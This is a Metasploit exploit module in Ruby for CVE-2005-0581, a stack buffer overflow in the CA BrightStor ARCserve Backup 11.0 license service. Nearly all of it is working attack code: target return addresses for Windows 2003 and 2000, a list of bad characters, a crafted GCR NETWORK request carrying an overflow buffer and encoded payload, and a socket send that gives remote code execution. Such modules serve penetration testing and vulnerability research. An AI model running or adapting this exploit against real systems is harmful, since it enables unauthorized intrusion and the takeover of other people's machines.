##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.
        By sending a specially crafted request to the lic98rmtd.exe service, an attacker
        could overflow the buffer and execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-0581' ],
          [ 'OSVDB', '14389' ],
          [ 'BID', '12705' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform' => 'win',
      'Targets'  =>
          [
            [ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
            [ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
          ],
      'DisclosureDate' => 'Mar 2 2005',
      'DefaultTarget' => 0))

    register_options([ Opt::RPORT(10202) ], self.class)
  end

  def exploit
    connect

    buff =  rand_text_alpha_upper(256) + [target.ret].pack('V')
    buff << make_nops(12) + payload.encoded

    # NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
    sploit  = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"

    print_status("Trying target #{target.name}...")

    sock.put(sploit)

    handler
    disconnect
  end

end
